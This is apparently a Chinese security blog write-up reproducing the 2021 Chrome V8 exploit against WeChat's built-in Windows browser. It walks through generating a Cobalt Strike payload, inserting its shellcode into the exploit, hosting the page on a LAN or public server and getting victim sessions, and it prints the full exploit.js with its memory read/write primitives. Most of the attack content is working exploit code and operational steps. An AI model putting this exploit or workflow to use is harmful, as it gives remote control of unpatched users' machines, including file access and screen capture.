漏洞简述
影响版本:Chrome <= 89.0.4389.114。微信 Windows 版本 小于 3.1.2.141。
微信更新后的版本:3.2.1.143。3.2.1.151。
漏洞利用条件:关闭Chrome浏览器沙盒–no-sandbox。
Chrome默认开启沙盒。微信内置浏览器使用Chrome内核,默认关闭沙盒–no-sandbox。
局域网复现-拿下
下载Payload:访问https://github.com/r4j0x00/exploits/tree/master/chrome-0day,下载exploit.html和exploit.js。
CS服务端:192.168.43.208,ufw关闭防火墙。
CS客户端:192.168.43.6,ufw关闭防火墙。
设置监听:在CS里点击Configure Listeners,监听CS服务端的主机地址和9999端口。
生成Payload:在CS里选择Attack-Packages-Payload Generator,选择设置的监听,输出output选择C#,点击Generate生成payload.cs。打开payload.cs,把大括号{}里的内容复制到exploit.js第五行shellcode的中括号[]中。
开启Web服务,把exploit.html和exploit.js放置在Web站点中。
靶机192.168.43.56:Win10专业版,开启防火墙,微信版本信息是3.2.1.112。
靶机访问192.168.43.6/exploit.html,CS上线,完成复现。
CS查看上线主机:屏幕捕获和文件路径可以看,有时候加载慢。
公网复现
局域网相同配置-无
下载Payload:访问https://github.com/r4j0x00/exploits/tree/master/chrome-0day,下载exploit.html和exploit.js。
CS客户端:192.168.43.6,ufw关闭防火墙。
设置监听:在CS里点击Configure Listeners,监听CS服务端的主机地址和443端口。
生成Payload:在CS里选择Attack-Packages-Payload Generator,选择设置的监听,输出output选择C#,点击Generate生成payload.cs。打开payload.cs,把大括号{}里的内容复制到exploit.js第五行shellcode的中括号[]中。
CS服务端:公网服务器。
开启Web服务,把exploit.html和exploit.js放置在Web站点中。
靶机192.168.43.56:Win10专业版,开启防火墙,微信版本信息是3.2.1.112。
靶机访问http://公网服务器ip/exploit.html,无法上线。
修改配置再次测试-拿下
C#不能上线,尝试C语言Payload,打开payload.c,将字符\替换成,0。
靶机访问http://公网服务器ip/exploit.html,等待30秒没有上线。
重新点击链接,点着点着就上线了。
CS客户端对靶机选择remove,取消控制。
靶机再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了5秒后上线成功。
取消控制,再次访问,等了30秒没有上线,点击刷新微信内置浏览器,上线成功。
取消控制,再次访问,等了5秒后上线成功。
取消控制,再次访问,等了3分钟没有上线,只好点击刷新,上线成功。
结论:猜测是因为网络问题,思考在js代码中添加刷新代码解决此问题。(未实践)
CS查看上线主机:文件路径可以看,可以在beacon里执行代码,只是执行的结果很慢。屏幕捕获,五分钟没有显示出来。
Exp
exploit.html文件:
<script src="exploit.js"></script>
未填充shellcode的脚本文件exploit.js,在第五行添加shellcode:
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
参考
《微信(Chrome)漏洞复现与简单分析小结 -贝塔安全实验室》,2021-04-21
https://mp.weixin.qq.com/s/lua8KhWAyviL1Nzg6NgJNA
《解决微信0day上线CobaltStike的几个问题 》,2021-04-20
https://mp.weixin.qq.com/s/1y0egja7bosdrzws0OFKbg